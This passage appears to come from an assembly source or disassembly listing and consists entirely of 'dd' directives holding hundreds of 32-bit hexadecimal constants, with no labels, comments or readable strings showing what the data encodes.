		dd 0ABF9A205h, 447521h,	0AF8C8A11h, 0B4DC770Ah,	94053400h
		dd 0D01ED190h, 0F1071E30h, 0D6BC0693h, 0C6002889h, 0D852B887h
		dd 667EAEh, 0D7E0AB61h,	0DF70DE95h, 2D574E0Fh, 93EC20BCh
		dd 7ED8AF18h, 0F6170090h, 0FBA7E17Eh, 5E005A95h, 0A387DF01h
		dd 1DA59EDh, 96DD3716h,	3038F618h, 3C0099CCh, 0DE3F06B6h
		dd 7635602h, 0C567E974h, 97ADB1A1h, 6A82C0AFh, 0B009B800h
		dd 1E18A591h, 7F87625h,	511C9E98h, 9BB84001h, 0C00024C5h
		dd 317384ECh, 30A4E4h, 1BD85579h, 38CF9A3Eh, 6D5E3F00h
		dd 4AA7E6ADh, 996B00EBh, 0FE8811AEh, 14003603h,	96715E37h
		dd 0ED9C62h, 216D27F5h,	8238012Ch, 0E1EBD803h, 0F0C55C42h
		dd 1503B63h, 0CB1C408h,	0C0B60347h, 410038BAh, 81CFD02Ah
		dd 1C9839D3h, 4E62F6E5h, 1F4004A2h, 0AEB621D8h,	3500200h
		dd 0F39A8472h, 98370045h, 190B0EFBh, 8B0015E9h,	48625FA5h
		dd 0CE8F04h, 7B6E7655h,	0BBD147A3h, 1C708E48h, 0F5C0DBC1h
		dd 0E201593Ah, 76390FB3h, 0E654ECC6h, 0D9DC3800h, 0B771D461h
		dd 0B41EED00h, 98EF3235h, 0B9080FF5h, 36800244h, 2E60CBF1h
		dd 0A4790507h, 9C904972h, 71AD59A5h, 0EA5507DBh, 82014E65h
		dd 144068EBh
		dd 36022615h, 0C141D263h, 20C8AAFAh, 0BF046814h, 5D26507h
		dd 0CC40C0BEh, 1B007EA6h, 7CA13FDFh, 0F51D36Ah,	442A810Ah
		dd 94123820h, 9231674Ah, 0AF0B2877h, 75C35212h,	39952811h
		dd 36BDF208h, 19822710h, 590283D4h, 31922858h, 12A7B329h
		dd 56AD10FDh, 89613388h, 0C128402Fh, 318080CCh,	0EB1140F7h
		dd 2272D620h, 5B31AEFBh, 0A92529B6h, 6CD08F10h,	28425781h
		dd 0A9648710h, 621A29CCh, 0AA379BAh, 0A2133C22h, 2E413D8Ch
		dd 9F79D70Ch, 0F99C40h,	3311D31Ch, 6C1C613h, 0C52A5A00h
		dd 9470BEEFh, 87710069h, 655BF636h, 0C80123CFh,	6A05D8E2h
		dd 48801ABBh, 0D9B0905Fh, 4E0E5D30h, 60E46C87h,	0EEC5B432h
		dd 0E81001C4h, 7393FCEh, 0A5BDE8B7h, 0D1314100h, 532783F2h
		dd 955900C4h, 44E1DE5Ch, 8800D59Dh, 1EF65A9Bh, 0E2350Dh
		dd 6D87315Dh, 96D1DB84h, 404824E9h, 8565F303h, 0C091FDF0h
		dd 770C9E31h, 3EF51C8Ch, 6DB40F58h, 0D9A9AB40h,	0F100D185h
		dd 0BF8156C4h, 0E44E8D3Eh, 330E072Ch, 0A0199D31h, 1CB193AFh
		dd 0E5F7B50Eh, 5F66408Ah, 7E0FCE71h, 0FF9F0008h, 0D8218EB2h
		dd 0E0C7A9ACh, 0F6E0A462h, 5081ECh, 0C197C042h,	0E7EF87A1h
		dd 837DB200h, 124B74BFh, 3D3E00DDh, 9C6A491Ch, 4201D801h
		dd 4461A4CDh, 0CBECC26Fh, 51A2C07Ch, 0DF5A1ACFh, 526338F8h
		dd 99442246h, 0CDC82116h, 40540069h, 0CA6014BBh, 1D001826h
		dd 5649B433h, 39CD1B22h, 0BC80DE71h, 0BBF77B36h, 0E107C250h
		dd 0F12046FAh, 38C60DEh, 0C4CF7Fh, 0DF55B480h, 92739C50h
		dd 326F860Bh, 200D72Fh,	9E4D7C4Ah, 6400D7EAh, 6EF4CB93h
		dd 69A813h, 0A537DAC7h,	847A3B01h, 4EBF5300h, 0A147CF68h
		dd 552C00DDh, 237152C5h, 287CFBE5h, 4284500Ah, 0B00E4C9h
		dd 3EF1F963h, 0D15D00D7h, 0F52CBE9h, 303D55Ah, 0FB793FE3h
		dd 8F841782h, 487100C3h, 94EBDE20h, 607F5CB0h, 80D5A139h
		dd 0C7EB915h, 3D169684h, 0EF80D9B6h, 679B8917h,	7B009FC9h
		dd 0D7A82472h, 13E6E934h, 0AAD17Ah, 6E58C7E1h, 0A4F2802Fh
		dd 331C1200h, 4ADA9132h, 0D77F40h, 510FAE77h, 0B6892948h
		dd 3F787600h, 178CDE94h, 0D67404F3h, 803303C9h,	0E7158D5Ch
		dd 8B9C2B0Eh, 0A53BA2E5h, 579860E3h, 882300C3h,	6597522Fh
		dd 7A000FFCh, 0A0D45AFAh, 0BCD05Ch, 0BFAA4457h,	6FC160BEh
		dd 0FDB69F0Fh, 0B39A87A2h, 0A96F280h, 0EE02004Fh, 0CCD40FF6h
		dd 9E5C30C3h, 924C006Eh, 14FAE079h, 8DB873h, 0A49AD694h
		dd 0EBB9D732h, 5DB8C000h, 45FED4D2h, 75840F4Dh,	0D24761h
		dd 958E2618h, 71E6C71h,	380974Ah, 90CE80A4h, 68C00027h
		dd 2F3BD9B4h, 0C100A8AEh, 0CD9B9C5Ah, 7E06CF43h, 1057931h
		dd 3EEFFF33h, 0C818FC5Bh, 0EA064F83h, 3B775ADCh, 3A7DE6h
		dd 65475314h, 931F01B6h, 6667A901h, 738CD03Ch, 3EFE3020h
		dd 4680E64Fh, 0FB2C1536h, 0BF00907Dh, 83C91601h, 283258h
		dd 63D007E7h, 0A885FC60h, 677ED51Ch, 69E268C0h,	7A9F90h
		dd 92055187h, 19FE7D23h, 0BB636A0Eh, 0F50F4010h, 0C0183D37h
		dd 5346F6EAh, 0EF00FB16h, 434BACE1h, 1DB08E1Eh,	0C0C93501h
		dd 0E885860h, 6900F83Bh, 8CF01CFCh, 7AC22C38h, 0C5ECCCh
		dd 186E2A3Eh, 79139C3Dh, 0A0A4A92Ch, 27596401h,	40E20760h
		dd 0DFDFBh, 0F35C6A1Ch,	15568ECCh, 0A3925F00h, 0DD9DADE5h
		dd 0D4233D14h, 8CA0F480h, 0F87F9E65h, 487EFB00h, 0C0E79FADh
		dd 3B5F00DDh, 0FB54177h, 9C00D097h, 3F654D6Ch, 7CDB2735h
		dd 895005Dh, 8C994BC2h,	1600E62Ah, 0BBA3E1F8h, 1F4366h
		dd 0CF33214Dh, 921A9C88h, 0E0174000h, 0BCFE8DC4h, 165E0278h
		dd 0C280B967h, 980CC840h, 0E79EA907h, 0FC029B1h, 3C53C0F2h
		dd 0F4335Ah, 0DC8BB50Bh, 3AE03B70h, 0BAA348h, 804A7C8Ch
		dd 0FFA6DDh, 0D91C9A6Eh, 0B94BC793h, 7F275B00h,	0B8B8673h
		dd 514D00E0h, 1CF147F8h, 9A3A0776h, 80A0802Dh, 0BA83E3Fh
		dd 0F2440072h, 8D6C41C5h, 6400529Fh, 0C626E3Ch,	2C27A4h
		dd 6A90405Bh, 5ACD6921h, 0D8D20D00h, 0B8E7983h,	3A71F826h
		dd 7FE04C2h, 131A09A4h,	0EC1FA1FEh, 0FDDFC00Bh,	52D6B000h
		dd 0E5BC27E3h, 0D16F0399h, 481FE859h, 0F0F8EFD3h, 5401BA29h
		dd 695E4696h, 0FE60D9BCh, 6A4D00B0h, 0D6C01D94h, 0BD3E7E73h
		dd 350A0098h, 62C6F51Ah, 0DCC73053h, 0C40754Ch,	59BDE900h
		dd 9AE32B90h, 0B2CE0033h, 9921E06Ah, 16381D54h,	2B938339h
		dd 0DB79C5F4h, 252800D2h, 8D26FA81h, 0F20EC984h, 0A0F028E8h
		dd 0F9CD7301h, 7E15EE04h, 0E46602C0h, 19809F4Bh, 0E0ECB8E1h
		dd 0DA004865h, 4AC7F053h, 28C89EA2h, 0CDD031h, 0CF892F7Eh
		dd 0AF791AC6h, 2BA0FE00h, 45D8B175h, 9D990062h,	5EF385B3h
		dd 4E00013Dh, 8C8B0CFEh, 71B26Bh, 6487B1B8h, 2DB72B77h
		dd 0D9F5601h, 91B43433h, 0E534DE0h, 0D331DF94h,	0F057E1A0h
		dd 0F900AFDEh, 48D9033Ah, 810855h, 9458C865h, 2F7FAC18h
		dd 0CCCDE702h, 0E1AE7C90h, 0A03B24EBh, 3A02C14Fh, 64CA280Fh
		dd 440F4033h, 44494CB9h, 0BC99F380h, 0D22CD140h, 4E00C188h
		dd 0F13262F2h, 0C31E1D09h, 5AE90F70h, 0A54A6D80h, 0B31EEBE8h
		dd 0C5C07113h, 8FCC1101h, 0E02A0057h, 73DF0261h, 0CB00E216h
		dd 0AF562F37h, 0D4418Bh, 0CF25E071h, 0B299553Ch, 0F98C0100h
		dd 7FC9213Dh, 0CB3B00C4h, 65908F9Dh, 530066ACh,	1300898h
		dd 241183CAh, 24BD0B2Eh, 662C0700h, 4B0710C9h, 8B485D0Dh
		dd 0D13E014Dh, 2A92BCC2h, 78C760F6h, 1AFB0045h,	8BCF8E06h
		dd 96006754h, 701BBF3Bh, 0A9C65Ah, 9F3B9EAh, 7B7E6F81h
		dd 0B894B00h, 29153ADEh, 0CE062461h, 94B30069h,	0D80C7D5Bh
		dd 4DB71B03h, 0A8FFE179h, 5EBA495h, 0F29E559h, 0F1F4409Ch
		dd 9EBC36E8h, 0DC572004h, 0CB80BA69h, 0F68A1BECh, 1EC7000Bh
		dd 4A9A2CFBh, 5A0011B8h, 0EE02331h, 0B891A895h,	981D0504h
		dd 0BF14476Ch, 3040F480h, 0A52200E6h, 3A2C7FF9h, 0B30E8754h
		dd 602EBBD1h, 0AA75E765h, 0D41E00CFh, 4950408Fh, 61018901h
		dd 0E5703531h, 0D020C651h, 9C993A10h, 14D2C787h, 23119015h
		dd 0EC7FD8E2h, 6086AA09h, 30048168h, 64C4CB4Fh,	9EAF00D0h
		dd 25FD91A0h, 60B824DBh, 2833E92Eh, 8B72D640h, 0B6E70067h
		dd 164A98D8h, 5675B479h, 0F78ED000h, 0D7D4BCDBh, 0C7F0118h
		dd 0EAA8AD23h, 814CD02Ch, 0BDD39400h, 0E37886E1h, 0F1AA0043h
		dd 404DEE5Dh, 2C0F9BDAh, 8011A8F4h, 15D27AC1h, 26D93992h
		dd 4E662800h, 0F2BC202Fh, 0AB643A00h, 3297D72Eh, 0D6B05D3h
		dd 80D448D5h, 0B3112A88h, 7345E200h, 9C63285Eh,	40FF003Dh
		dd 7BD5F069h, 1000E6Bh,	0E1AAA06Ch, 0B1EF8Bh, 65F9EDFh
		dd 0ABD8D4E7h, 47D5A00h, 0DE6F18E0h, 88550203h,	8D142C86h
		dd 9038C52h, 4C1A5470h,	6BCAC8D8h, 0D7BD51B0h, 944092D5h
		dd 1642FCFh, 0B61CEB02h, 0D8733340h, 2D001DB8h,	1B08FD8Fh
		dd 0C061563Dh, 6F1128F0h, 0B100A339h, 41DC9A0h,	4EB89Eh
		dd 0E341AD02h, 0A24879A1h, 0A4E09724h, 3C28FA50h, 77007206h
		dd 15705BA4h, 9158DAA1h, 139D1793h, 0CC40CC1Ch,	2BF1176Ch
		dd 0C2140071h, 0F695AE72h, 8B053AD8h, 604C754Fh, 0E0332880h
		dd 0A7F50004h, 3CC1D969h, 18000FCCh, 0B882C3BCh, 0EFB24852h
		dd 18550FCh, 0FBD4BBE6h, 0E1217EDEh, 2CC3CEE4h,	0C586F7A0h
		dd 7C664A07h, 6D10F45Ah
		dd 9877ADCAh, 5B200085h, 0DBAFB0BFh, 0DC58FA88h, 5C0F0044h
		dd 0E599E607h, 0B76F0005h, 0EE82E75Ah, 38787116h, 3DC22100h
		dd 0AC4B4C02h, 9C300079h, 0EAE8BC3Eh, 0A40EC5E4h, 5CA95232h
		dd 0C832FFD3h, 5B4C207Bh, 0D8003D48h, 7F4EEF34h, 2E9799F1h
		dd 3AFCB3DFh, 0F500893Bh, 0CAC83928h, 0C700B4FFh, 0F7BE3CC3h
		dd 4ABAF9h, 875C69EBh, 7BD34704h, 0F1918509h, 96440034h
		dd 7DD437DDh, 0D95907CBh, 20E9FC35h, 477B5B60h,	933F2400h
		dd 848CEA9Ah, 490700DCh, 0CBF53856h, 330078A3h,	3C889B5Bh
		dd 3A53EB41h, 0CCDC9434h, 0D9907203h, 5000C480h, 1D09EDC2h
		dd 2738614h, 62175F32h,	0D9C0B4EEh, 0B23DDE55h,	8007BFF7h
		dd 18D5DFE1h, 362E0CEh,	4A784576h, 0FFA92D1Ah, 71C4D923h
		dd 88D9C87Ch, 9F71CEFAh, 807D6D3Ah, 55CDD8C1h, 2678FD8Dh
		dd 21053DDh, 0D3235CEAh, 0A0F944C0h, 7A623F02h,	63DF40B0h
		dd 0D2BA93E8h, 45F287A2h, 4789A130h, 34BD02E4h,	1B74FF0Bh
		dd 7E7850E0h, 0E701A271h, 5053CC41h, 89CC63B4h,	0A72D00C2h
		dd 0B8D93D2Ch, 7D3A73FAh, 40BE80EAh, 6D0A4C36h,	34F301A6h
		dd 88D1A7FFh, 3873F89Ah, 33FD1413h, 8AC0F800h, 7A25C6h
		dd 0A285F083h, 0CCB85BF2h, 4F742009h, 0C0682084h, 8DF950h
		dd 0E754C9B2h, 3B94E1AFh, 7200DB78h, 0BE6699B4h, 604E15h
		dd 0E3650D8Eh, 36879741h, 80CA6F38h, 76C54D11h,	17E789h
		dd 0FF6A8E6Bh, 0CCA871F5h, 6F8F8200h, 6C2E9AA3h, 4E720059h
		dd 2DED03B8h, 0E1759160h, 93A4D050h, 0CC7A9700h, 0A76D163Ah
		dd 7553901Bh, 3BA400FBh, 19A310C7h, 7B006A37h, 698FD855h
		dd 74BF80FCh, 0E95B8C2h, 10580C98h, 0D5CBD063h,	0E4883DCBh
		dd 1C0072FBh, 0D8475312h, 90ED1Eh, 4C0CEEB3h, 82712859h
		dd 331C1700h, 75B15345h, 3C100E8h, 7CE647BDh, 0BA00C06Ch
		dd 2BFCE1ADh, 0B63B64F8h, 0BF4B006Ch, 26ECFA4Fh, 504CDCB0h
		dd 0C43F0Ah, 0E43953F1h, 2331B25h, 4B879575h, 7C40073Ch
		dd 0CE00ED1Dh, 948ADFC8h, 0F3C574h, 258145EBh, 0D89CC0E9h
		dd 82B8A900h, 0D4107075h, 0BADB1C30h, 5BEEC06Ch, 58B5491Fh
		dd 680260B8h, 0D4CD328Eh, 0CC14E04Ch, 0B3E55CC4h, 4809A800h
		dd 47E81227h, 43AAF200h, 6E9FE11Dh, 0D8994CAFh,	0D2188F00h
		dd 0B63EC4B5h, 9D297F00h, 3D53D602h, 67AEC4D4h,	0EF6C80DDh
		dd 0B6074A71h, 99A24CA9h, 0BA266ED1h, 0CA17FF8h, 51313FD1h
		dd 0EF078DB2h, 0D39E1B47h, 9746A00Eh, 160D4Ah, 6D7D28FEh
		dd 36BB71C2h, 17B56200h, 0C088F6B6h, 0CB8F0030h, 8EA7C57Ch
		dd 600321Ah, 0D1FA3F4Eh, 0CF6752h, 14868D2Eh, 0A77B9141h
		dd 5ACA3600h, 0ABD3AD89h, 14E00B1h, 84F4929Eh, 1B0088C0h
		dd 738F4C4Ah, 721CFD45h, 6197E3Ah, 0F74F0C16h, 373F32A7h
		dd 0A376131Bh, 0FE18E800h, 152F653h, 1DB4A020h,	315BBFC1h
		dd 866BF444h, 17BBA900h, 0A784F9C9h, 0E9411CA0h, 2E4EC06Dh
		dd 0D9FDBD22h, 76512000h, 58CBC7C4h, 9EE2000Ah,	0FC6BCC69h
		dd 0D9A02C8Ch, 0AF0CC95Ch, 0B81DB65Eh, 0D24A07D0h, 374D90D3h
		dd 4623E041h, 753A7912h, 8092BA11h, 26918E28h, 26322DBh
		dd 0CAA950B0h, 0F560E3B7h, 2D00A77Dh, 675FD01h,	9027FBB3h
		dd 0D87000B1h, 4203FCAh, 6E2E58B4h, 0FA009E02h,	5E14DD53h
		dd 2CF301D7h, 0FCDC7AE8h, 511A30CAh, 68D33F02h,	0CB703B7Dh
		dd 0AA27C048h, 0A2D800D7h, 8C15B651h, 1A1217FDh, 14001804h
		dd 94E5F3BBh, 0F9B900C1h, 3D20FCFh, 807B9748h, 3E727A05h
		dd 768071C0h, 215646Fh,	5BDB2939h, 60E16D4Dh, 4432D86Ah
		dd 879A4500h, 67AF70F7h, 4CC11E61h, 0F1F3C7DEh,	16E650CEh
		dd 7003834h, 96D159A9h,	0EAC08F6h, 0EAF3108Fh, 0B8C9E940h
		dd 0A50B2523h, 2529FB5h, 8109DF6Eh, 312782F4h, 167301D0h
		dd 0C8221Ah, 8BFAB1E4h,	629834A6h, 2C0045E4h, 86A7DD5h
		dd 30F0EE95h, 42DA1E2Bh, 180FE6F2h, 24F51A87h, 78C837FDh
		dd 0F7E6B7h, 0B9D91D03h, 6A55EBFCh, 0A8650C00h,	31E4DD26h
		dd 0E8B126DFh, 56581C70h, 8DDC04ACh, 0E41080EDh, 0BF12D922h
		dd 0D401C68Fh, 0D3714FAEh, 0B200886Ch, 0D21C26E1h, 0D7002E1Fh
		dd 0B69A56DAh, 14CF541Bh, 9567A749h, 647326h, 0C770411Ah
		dd 0FF09218Ch, 8750EB79h, 3120E239h, 145AF8Bh, 8C19DC9Eh
		dd 0C47B2253h, 0A601B85Eh, 172F031Fh, 7E1D3Dh, 368BE7A0h
		dd 0FD137A3Ah, 844091C2h, 79287D9Eh, 9F7B00D7h,	8DED49C5h
		dd 2700A297h, 0DDF75E3Bh, 9EE0181h, 5911BAFCh, 49DE0C00h
		dd 190195B4h, 7F13E541h, 0CAED6D87h, 7BB35E8h, 0D7D2FBE6h
		dd 688966A6h, 0D6B1520Eh, 294E2056h, 5C8F2h, 0DC761681h
		dd 0C41F31E6h, 0BCA42839h, 625D0037h, 0D9E9A84Bh, 704A0075h
		dd 200B88F1h, 0ED01BB77h, 8980176h, 54DC65C4h, 2BA013Fh
		dd 0F64847E1h, 567820A1h, 0EC20360Fh, 160E670Bh, 8877220h
		dd 4F1B0E59h, 12C08D6Eh, 43E0D65Dh, 4EA9C800h, 0D8F98499h
		dd 77A8EA26h, 9EC70059h, 5D041E5Ah, 131EB6DAh, 0E440D84Eh
		dd 6BBD8EA0h, 0BB793CFBh, 192CAD80h, 3B966FABh,	41812807h
		dd 808BC1DBh, 0DF5BF10Bh, 645C1229h, 201800B1h,	0EEE64FABh
		dd 985ABD90h, 0B6E71800h, 39BFA169h, 0F4C5D6h, 8250555Fh
		dd 4DCF5A0Dh, 4784E50Fh, 0C492773h, 0CCAC0B60h,	5ECB162Ch
		dd 0D1E00035h, 5B966C62h, 2B66F800h, 55B7B6A4h,	328F00F9h
		dd 5020A5CCh, 7E04FA96h, 91F88677h, 224F5C80h, 0D91E00B3h
		dd 4AA5159Eh, 0AA070954h, 0D64D3A68h, 3510B847h, 4B6CC012h
		dd 87B01E98h, 566DBE7Eh, 0A70010C4h, 400D4D32h,	3E56BD8Ch
		dd 5C80444Ah, 9E5FB155h, 0E7034764h, 0D187C172h, 17E298BDh
		dd 2AD2002Dh, 79C27DDBh, 23E8BE4Ah, 701CE42Dh, 559204B1h
		dd 0E07D2604h, 7C2E3F6Ch, 3BCDCE9h, 0DD296711h,	2CAED1A1h
		dd 0DE98E0h, 229F60A6h,	38F61A47h, 34243100h, 0EB42DA74h
		dd 2DA6002Ah, 1DF0A9FFh, 6548579Eh, 0A8FD009Ah,	602E64A3h
		dd 0C9D701D9h, 3C877958h, 0DC443099h, 7F0BE58h,	0BFDE3E1Dh
		dd 73A9C460h, 443031Eh,	9379F296h, 80928795h, 9F8CD112h
		dd 10E7600h, 0B4C9A6E5h, 701E7097h, 27983FB8h, 4DC3928h
		dd 0E5241735h, 2D44C899h, 0F86C512Ch, 0DD5DD79Ch, 0E88054D7h
		dd 3E325Eh, 6A875545h, 0B92721F4h, 0A89B4D3Fh, 0B4038CEDh
		dd 3F452CFDh, 0D55AC0E8h, 310D001Ah, 15A61DCAh,	5858B2EBh
		dd 0E65D0A60h, 9F01B830h, 0D89BD783h, 0BD00B82Ch, 0DF47F380h
		dd 0E90EC045h, 0A01D8103h, 9DC6216Fh, 83440E38h, 0BCFCD90h
		dd 9BCA68A0h, 357EBAD6h, 59F36700h, 0F06D05BEh,	41980010h
		dd 1CB1F531h, 0AA05F7CAh, 0E567A302h, 0F43888D0h, 3DC35CD9h
		dd 0B7CC16h, 2634D7F4h,	5F006454h, 0C0425552h, 0E0E4C5h
		dd 0FC088512h, 0A853671Ah, 620E2C02h, 8088EDE6h, 0FAAD97F9h
		dd 1CDC484Eh, 3AD6B600h, 5046340Ch, 40B7BF06h, 740B323h
		dd 0BAA54CB9h, 0C20F4032h, 414C2955h, 595000A4h, 0E652B946h
		dd 9492F6h, 0C6FF9749h,	1295C38h, 0FDC2421Dh, 0DE7CF707h
		dd 40460992h, 0A6EBAAh,	320F14B1h, 0CAE41783h, 8A95AC00h
		dd 279B5AFDh, 934F00D5h, 0F97BE255h, 0CA007481h, 6B3E2E63h
		dd 1BD5292h, 9FEF5610h,	0D04604CBh, 1D00692Ch, 0B911A23h
		dd 4BD57D1h, 0D3F4E0B8h, 0C2408C32h, 0E24B9500h, 0A08A163Bh
		dd 9CCD487Fh, 7730490Eh
		dd 57CC7EA0h, 69134CD3h, 0C4085E6h, 0E21BAC63h,	30E00F5h
		dd 0C262BA92h, 0A300D645h, 8CDBBC43h, 1E9F363Bh, 4BB34441h
		dd 5080E199h, 45A11E30h, 12CF39h, 562341Ah, 299E3DAh, 2B6C6FC9h
		dd 0A0E6922Dh, 0C04D3100h, 0FC418596h, 9DC80952h, 404B347h
		dd 73489C5Bh, 501FC300h, 2F853FF7h, 347D006Ah, 52131D2Eh
		dd 3859312Ah, 786300B0h, 9F989A70h, 0EDC006FAh,	59D0E74Fh
		dd 23AEC207h, 6E525388h, 605A62A0h, 0CF9C724h, 0DD034689h
		dd 81004A49h, 0C6C1C342h, 785B23h, 193A4C7Ah, 2657B733h
		dd 0BDC5FD00h, 3D6B877Dh, 24819546h, 0E306A1AAh, 0E4E9F7F0h
		dd 10404D02h, 8045521Eh, 0D012A2F3h, 1D4A0F9Ah,	0AFE0A1F2h
		dd 0CA9092A8h, 0E0A5800h, 464D53CDh, 7C874C7Ah,	0DFD90500h
		dd 367BF144h, 0A4F5809h, 0BD7700E0h, 26079A76h,	768D5h
		dd 61B5FFE7h, 6300FA77h, 0D21D1BFCh, 17BEDB22h,	38C803h
		dd 9A2ACC34h, 82006704h, 78175DB4h, 0FC687F20h,	588EECBCh
		dd 88008E23h, 0A8DBF2EAh, 7424018Bh, 690020C5h,	12D697D3h
		dd 0F59405C8h, 0C782A33Dh, 634A8035h, 7E0092B8h, 2DAF6F97h
		dd 2C4766h, 0AEA76C68h,	0E9C15098h, 9B86C500h, 0CA7D90BBh
		dd 0B0760202h, 653F3E46h, 0BFA9FC80h, 0C4A007F1h, 0A712AF45h
		dd 28003927h, 0BBB0DDC4h, 0E02F012Ch, 0FE80A583h, 0D14B6070h
		dd 4425C8B8h, 0A918003Bh, 1D2A5639h, 803E6DBBh,	335E8D7Eh
		dd 1801E190h, 0EE122B36h, 463005F1h, 74150382h,	7E9A0119h
		dd 48298BD0h, 0A1A29800h, 151B2BF5h, 7C5625C2h,	0AC8C20C0h
		dd 6646D100h, 53116C9h,	36E50052h, 88759989h, 0A43B22B6h
		dd 186E30D7h, 0C6AFE0h,	70545D6Dh, 0D457D671h, 5BC58D1Ch
		dd 6F8E9E80h, 2B5D0D9h,	18C0E789h, 9CE07A58h, 92592E0Ch
		dd 61961CD0h, 0C9B2F340h, 0EBA4A68h, 6E8F9CC5h,	0F8652140h
		dd 38007014h, 743E766h,	79763BDAh, 0F57C0394h, 3487E27Bh
		dd 4A72CBC0h, 74332103h, 0D83FB153h, 12AF31h, 9B988DA2h
		dd 0EF85DFE8h, 0B089905h, 0CF833496h, 0E0D3C27Eh, 50BC04h
		dd 58743212h, 716D6E61h, 8C31CC28h, 2C0995Ch, 0EED07768h
		dd 4A2850DDh, 40441218h, 0E67A3AC8h, 711399F3h,	0B70014A9h
		dd 0D9CB7DFBh, 9FDD1F63h, 5244C042h, 4A5C3DD8h,	7C082F00h
		dd 0E247599Ah, 2E0900CCh, 85980E6Eh, 440B17EEh,	87536312h
		dd 0B76045E9h, 5CADA9AFh, 0FD13DA1Ah, 0DFD30FC3h, 57807F6Bh
		dd 3D0CD343h, 531F4D00h, 0B428B240h, 0D46F0B06h, 1781748Ch
		dd 0C883B9A3h, 0DD00A19Dh, 0D8A8E379h, 0C2BF6Ch, 112E85Fh
		dd 0E590A440h, 41567607h, 0DB5367EDh, 32888030h, 0D86400C4h
		dd 0CCDCBEA7h, 29009A7Eh, 4AA19ECFh, 3E9BB02Ch,	0C2805553h
		dd 316EF0ECh, 0BD02FC28h, 77C39A59h, 0B8EF4024h, 0CBBC00EDh
		dd 6C0555EEh, 0D41EB5C2h, 0EC1190Dh, 5E202E0Ah,	0AFE030h
		dd 1C2F4CEFh, 4B8A3566h, 86E0C71Ch, 80BAED00h, 475B44h
		dd 89057D1Dh, 0A4CA4677h, 0DCB41626h, 0B487BF50h, 6CC904A8h
		dd 0E48A87Fh, 0BCC40AEh, 0D35182F4h, 7CF8A2h, 0B40A6360h
		dd 57CD938h, 720095E8h,	3F939B55h, 2C9D4416h, 30B7601Dh
		dd 9A350A38h, 0FD2CED00h, 8CA98E86h, 2C747BC2h,	0C32E7Ch
		dd 400CF826h, 0B82D9E1Eh, 0B9B0B853h, 0EB820021h, 5F4AE2C0h
		dd 460045BAh, 5EBFC929h, 309BAC26h, 53566F8Fh, 1400C7FAh
		dd 0D80A799Ch, 71968BCh, 0CE01554Bh, 5FC9C049h,	0C107EFD7h
		dd 893F53F4h, 20EEA900h, 5D2000Bh, 54BEA166h, 2503467h
		dd 5207D6E8h, 320DE062h, 0F03D5351h, 371D7068h,	3B41AC90h
		dd 0C3F4F8h, 0DA652DFFh, 0B658F313h, 52F82A7Eh,	80D7FB3Ch
		dd 0F719D1A4h, 48FC62CDh, 0CE3C21ACh, 3D0027BAh, 20950EDDh
		dd 13009DCBh, 153BF979h, 561E4Ch, 0C151CCFFh, 8D767AB2h
		dd 4A0B6200h, 8ECE9448h, 30835FCBh, 57BECC00h, 0D07D2300h
		dd 28AD8976h, 85CF0021h, 0BDF1B642h, 9000F3FDh,	0F06D9C9h
		dd 198D638h, 10F8B09Eh,	409BA27Fh, 73C551E4h, 896C293Bh
		dd 0B496B45h, 7E1E0080h, 714867B2h, 125301B9h, 0A5B1D14Ah
		dd 9787D00Dh, 7B9E8000h, 0A93BA12Fh, 8A6A00D9h,	21649B82h
		dd 8F0048C6h, 41103334h, 83A9BAh, 6F231B80h, 6D451A77h
		dd 6947300h, 767011ACh,	75D81EC6h, 141500B5h, 5D1E23FDh
		dd 0AE4F8300h, 65B6690Ah, 0EA6F004Bh, 39F96803h, 5700A5EEh
		dd 46B818F6h, 0E56AC85h, 9F5C8605h, 0AAB00B60h,	7800B5B3h
		dd 0CDAE175Bh, 392E08A4h, 912ECBEAh, 0A6D100D1h, 0BFCA4934h
		dd 5AC1AB00h, 0E87BB5Dh, 1CC20073h, 0BDCE8314h,	847E1EEEh
		dd 0D1FA11C0h, 602C37h,	0B411777Ah, 0E80AF085h,	1E63C100h
		dd 0B9AB271Ah, 25EF00E7h, 4A64CF87h, 0DD009178h, 0C5077F7Dh
		dd 0F624C604h, 0E8B5016Ah, 0E98F2367h, 434FD8D2h, 0D82B0C00h
		dd 48541FBAh, 87F3A1C7h, 77AAFEF0h, 0AB6A0037h,	0A4442393h
		dd 9800E0DFh, 269C5D30h, 8B9F33h, 0B660373Ah, 2E8AF471h
		dd 5FA1709h, 1611004Ch,	1E4F9245h, 804640ADh, 0A3D11FF7h
		dd 0A700E4A4h, 25E6DBEDh, 0B96A78h, 0D892154Ah,	0A0F02E60h
		dd 86CA1002h, 0C17C7629h, 7030B9E9h, 0B9D0FD3h,	6DA03F46h
		dd 4159D937h, 6EDFCA16h, 39D87C40h, 12E3F854h, 0F1807DE8h
		dd 25DAE0FCh, 0B705457Dh, 0E3042AABh, 90C3DE83h, 13500A22h
		dd 0E2E94h, 0B1BC854Fh,	0BB00A0D1h, 0B44D7280h,	4FEC1FD3h
		dd 0FB5C802Eh, 7167CF1Ah, 0C1505570h, 0B29A975h, 5663E1C2h
		dd 49A7AB00h, 0AC0680BCh, 0B2AFF42Eh, 36F93C31h, 0F5B5CE81h
		dd 0DB2AA401h, 487EBD92h, 0ECD81201h, 1840B0F4h, 0CD90424h
		dd 0C89F9BCCh, 0FA203081h, 7AC504DFh, 0D0153DEEh, 2B11D78h
		dd 0FCEA248h, 7B9B1739h, 0E5590338h, 538BA1CFh,	15794900h
		dd 0D1CB10C5h, 0A91216ACh, 99D4075Eh, 0AA9DF4DCh, 0B7C00BC0h
		dd 6ABD00DDh, 845BCAE3h, 8E00AA2Ah, 302B5935h, 439382h
		dd 0D3F01DE5h, 4CA67D75h, 8808D61Ch, 55F2A400h,	74696h
		dd 20322FF3h, 5E0AB5D2h, 0C68FB00h, 1D1F1774h, 4BC00037h
		dd 7E16A9CCh, 0E628B05Dh, 8D72C1E3h, 0BB941B07h, 942EA10Dh
		dd 834800F4h, 0A0EE50D9h, 36B40ECCh, 7289670Bh,	22610420h
		dd 0D900436Dh, 87DAD2B0h, 21760h, 0A854F12Ch, 27AF4872h
		dd 884E952Ah, 186CF30Ch, 5F186Eh, 69C84138h, 103E38Fh
		dd 0B4A59E16h, 4C6E70A4h, 98058F60h, 5FAF62BDh,	781F00C0h
		dd 826A6956h, 0FEBCD500h, 6EAF4B14h, 0B1BB0CB0h, 8130CB54h
		dd 2961800h, 0AD2D93F1h, 340300D0h, 2C8C79D7h, 0A500D26Dh
		dd 4D925AF3h, 104B59Bh,	0EAD856DEh, 0F4824084h,	0ED13ECCCh
		dd 0BB005E99h, 152C785Ch, 9F961C79h, 7FB1803Dh,	0BB389B77h
